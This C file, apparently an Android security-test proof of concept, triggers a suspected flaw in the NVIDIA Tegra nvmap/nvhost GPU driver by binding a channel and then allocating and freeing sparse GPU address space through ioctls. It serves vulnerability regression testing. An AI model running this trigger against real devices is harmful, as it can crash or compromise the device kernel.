/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <unistd.h>
// for syscall
#include <sys/syscall.h>
// for futex
#include <linux/futex.h>
#include <sys/time.h>

#define LOG(fmt, ...)   printf(fmt "\n", ##__VA_ARGS__)
#define ERR(fmt, ...)   printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))

#define NVMAP_IOC_MAGIC 'N'
struct nvmap_create_handle {
	union {
		__u32 id;	/* FromId */
		__u32 size;	/* CreateHandle */
		__s32 fd;	/* DmaBufFd or FromFd */
	};
	__u32 handle;		/* returns nvmap handle */
};
#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)

struct nvmap_alloc_handle {
	__u32 handle;		/* nvmap handle */
	__u32 heap_mask;	/* heaps to allocate from */
	__u32 flags;		/* wb/wc/uc/iwb etc. */
	__u32 align;		/* min alignment necessary */
};
#define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)

static int set_affinity(int num)
{
	int ret = 0;
	cpu_set_t mask;
	CPU_ZERO(&mask);
	CPU_SET(num, &mask);
	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
 	return ret;
}

#define SZ_128K				0x00020000
#define NVHOST_AS_IOCTL_MAGIC 'A'
struct nvhost_as_bind_channel_args {
	__u32 channel_fd; /* in */
} __packed;
#define NVHOST_AS_IOCTL_BIND_CHANNEL \
	_IOWR(NVHOST_AS_IOCTL_MAGIC, 1, struct nvhost_as_bind_channel_args)

struct nvhost_as_free_space_args {
	__u64 offset; /* in, byte address */
	__u32 pages;     /* in, pages */
	__u32 page_size; /* in, bytes */
};
#define NVHOST_AS_IOCTL_FREE_SPACE \
	_IOWR(NVHOST_AS_IOCTL_MAGIC, 3, struct nvhost_as_free_space_args)

#define NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE 0x2
struct nvhost_as_alloc_space_args {
	__u32 pages;     /* in, pages */
	__u32 page_size; /* in, bytes */
	__u32 flags;     /* in */
	__u32 padding;     /* in */
	union {
		__u64 offset; /* inout, byte address valid iff _FIXED_OFFSET */
		__u64 align;  /* in, alignment multiple (0:={1 or n/a}) */
	} o_a;
};
#define NVHOST_AS_IOCTL_ALLOC_SPACE \
	_IOWR(NVHOST_AS_IOCTL_MAGIC, 6, struct nvhost_as_alloc_space_args)

#define CLOSE_THREAD_NUM	1
#define TRY_TIMES		2
#define NVMAPDEV	"/dev/nvmap"
#define GPUDEV		"/dev/nvhost-gpu"
#define ASDEV		"/dev/nvhost-as-gpu"
pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
int nvmap, gpu, asgpu;
volatile int attack;

int main(void)
{
	int i, j, ret;
	int dma1, dma2;
	struct nvmap_create_handle args = { 
		.size = PAGE_SIZE
	};
	struct nvhost_as_bind_channel_args as_bind = { 0 };
	struct nvhost_as_alloc_space_args alloc = {
		.pages = 1,
		.page_size =  SZ_128K,
		.flags = NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE
	};
	struct nvhost_as_free_space_args free_arg = {
		.pages = 1,
		.page_size = SZ_128K
	};

	/* bind_cpu */
	set_affinity(0);

	nvmap = open(NVMAPDEV, O_RDONLY);
	if(nvmap == -1) {
		ERR("[-] open %s failed", NVMAPDEV);
		goto __cleanup;
	}
	gpu = open(GPUDEV, O_RDONLY);
	if(gpu == -1) {
		ERR("[-] open %s failed", GPUDEV);
		goto __cleanup;
	}
	asgpu = open(ASDEV, O_RDONLY);
	if(asgpu == -1) {
		ERR("[-] open %s failed", ASDEV);
		goto __cleanup;
	}
	// bind the channel
	as_bind.channel_fd = gpu;
	ret = ioctl(asgpu, NVHOST_AS_IOCTL_BIND_CHANNEL, &as_bind);
	if(ret == -1) {
		ERR("[-] NVHOST_AS_IOCTL_BIND_CHANNEL failed");
		goto __cleanup;
	} else {
		//LOG("[+] ioctl OK, channel is bond");
	}

	#if 1
	// prepare 
	ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
	if(ret) {
		ERR("[-] NVMAP_IOC_CREATE failed");
		goto __cleanup;
	}
	#endif

	ret = ioctl(asgpu, NVHOST_AS_IOCTL_ALLOC_SPACE, &alloc);
	if(ret) {
		ERR("[-] NVHOST_AS_IOCTL_ALLOC_SPACE failed");
		goto __cleanup;
	}
	free_arg.offset = alloc.o_a.offset;
	ret = ioctl(asgpu, NVHOST_AS_IOCTL_FREE_SPACE, &free_arg);
	if(ret) {
		ERR("[-] NVHOST_AS_IOCTL_FREE_SPACE failed");
		goto __cleanup;
	}

__cleanup:
	close(nvmap);
	close(gpu);
	close(asgpu);
	return 0;
}